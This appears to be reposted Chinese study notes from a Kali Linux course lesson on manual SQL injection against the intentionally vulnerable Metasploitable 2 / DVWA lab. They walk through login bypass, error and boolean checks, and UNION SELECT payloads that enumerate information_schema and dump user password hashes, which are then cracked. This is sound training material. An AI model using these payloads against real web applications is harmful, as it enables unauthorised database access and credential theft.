任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)
笔记
靶机metasploitable-linux-2.0.0
- sql注入介绍
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
也可以控制到客户端,也可以用sql注入上发文件,sql注入也读取文件
其实注入的都是sql语句
1.1.原理下面是一个比如无需密码登陆
1.1.2.这个是正常情况下 SELECT * FROM users WHERE user=‘里面是用户输入的账号 AND password=‘里面是用户输入的密码‘
1.1.3.注入无需密码登陆SELECT * FROM users WHERE user=‘账号还是原账号’ AND password=’‘空格OR’1’=‘1’
上面那个输入密码的地方’‘空格OR’1’='1’意思介绍,‘空密码’ OR是逻辑运算符或1=1这两个数都是真条件就满足,满足就是真,账号对密码对就登陆成功了。
应为服务器端没有过严格的过滤导致的注入 - 开始实验靶机metasploitable-linux-2.0.0
正常情况下

讯享网

2.1.基于报错的检查方法
‘ “ % ( )
判断报错就能判断是否访问数据库
输入个’发现报错了说明可能带是叫‘带入了数据库


2.2.基于布尔的检查方式
1’ and ‘1’=‘1或1’ and ‘1
1’ and ‘1’=‘2 或1’ and ‘0
2.2.1.使用1’ and ‘1’=‘1
发现输入可以正常显示说明

应为1 然后 逻辑and或运算符1=1两个都是真所有可以正常显示
下面是1=2为假数据库就报错了

and竟然是逻辑或那没就直接可以and '1这个也是真
发现可以正常返回正常页面

2.3.查看sql语句查看了多少查询的字段
查看字段可以进行进一步的的注入方法,每个查询的字段都有可能是我们注入更好的选择
有的时候检查的有2个字段,但是字段是*的话 应为星的所有字段那么检查的时候可能会查询10几个或者是20几个
下面那可以看到有2个字段

这个输入输入都一样‘order by要查询多少个语句 –
如果查询错了那就返回页面报错

点击提交

发现抱错了,抱错说明不是50个字段

然后在9,发现也报错了,说明也不是9字段

然后在2发现没有返回任何东西,说明是2个字段,要是1也不会返回任何东西只能是大于才进行报错

可以用burp工具
2.4.联合查询union 和union all
2.4.1.union
使用union来选择查询
’ union select 1,2 --‘ 最后是有个空格的自己加上,上面我已经知道有2个所以这个我就选择查询1到2个
第一个’是进行给前面闭合的,后面–是注释的符号

下面是演示叫字段显示出来

2.4.2查询用户1'union select user(),2 --最后是有个空格的自己加上,
这个user()查询当前用户
2还是查询2个字段
看一下结果

下面都是利用这2个这个字段来进行查询的
2.4.3.查看版本
' union select user() ,version() --最后是有个空格的自己加上,下面介绍
version()是sql函数他是查看版本的
看一下结果

2.4.4.查看当前目录
' union select user() ,@@datadir --最后是有个空格的自己加上,下面介绍
@@datadir 是查看当前目录
看一下结果

2.4.5.查看目标电脑用户名
' union select user() ,@@hostname --最后是有个空格的自己加上,下面介绍
@@hostname是查看电脑用户名
看一下结果

2.4.6.查看系统
' union select user() ,@@version_compile_os --最后是有个空格的自己加上,下面介绍
@@version_compile_os是查看系统类型的
看一下结果

2.4.7.叫所有的函数放到一个字段里
' union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --最后是有个空格的自己加上,下面介绍
CONCAT_WS()就是在一个字段里面执行多个函数
查看一下结果

2.5.mysq查看information_schema数据库内容
information_schema数据库是 MySQL 自带的信息数据库information_schema是sql自带的信息库存放这MySQL服务器所有数据库的信息
2.5.1.' union select table_name,table_schema from information_schema.tables--最后是有个空格的自己加上,下面介绍
第一个字段是table_name
第二个字段是table_schema
information_schema.tables意思是查看information_schema数据库里面的tables表的字段table_name和字段table_schema里面的内容
看一下结果

2.5.2.统计一下所有的库和表的数量
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --最后是有个空格的自己加上,下面介绍
information_schema库,查看库然后用count(*)来计数计算
group by是进行会总就是,有重复的就显示一个,会总的是table_schema是列名
看一下结果

我发现存在一个漏洞都可以叫所有库和表都能查出来
2.5.3.查看DVWA库里面的表
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--最后是有个空格的自己加上,下面介绍
在前面基础加上了where函数 table_schema='dvwa’意思是只查dvwa库
看一下结果
可以看的有个users的表名里面可能放着用户密码,users是最有可能怀疑的对象

2.5.4.查看users表里面的列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--最后是有个空格的自己加上,下面介绍
还是查看的information_schema这个数据库里面的columns表里面的table_schema列里面是dvwa的数据
where table_schema='dvwa’在这个dvwa查看users表里都有什么列
看一下结果
发现了 user里面可能放着账号
发现了password里面可能放着密码

2.5.5.查看 user列和password列的内容
' union select user,password from dvwa.users--最后是有个空格的自己加上,下面介绍
查看dvwa数据库里面的users表里面的user和password列里面的数据
看一下结果
可以看的列出来了的所有的用户和密码
密码被加密了

下面是进行解码 - 解密
下面是进行解密上面的怀疑是哈希值的
用hash-identifier工具进行看看是什么进加密的,这个工具kali自带

发现是MD5

可以去百度进行md5解码
可以看见密码了

|| |
|–|--|
| | |






























版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/120952.html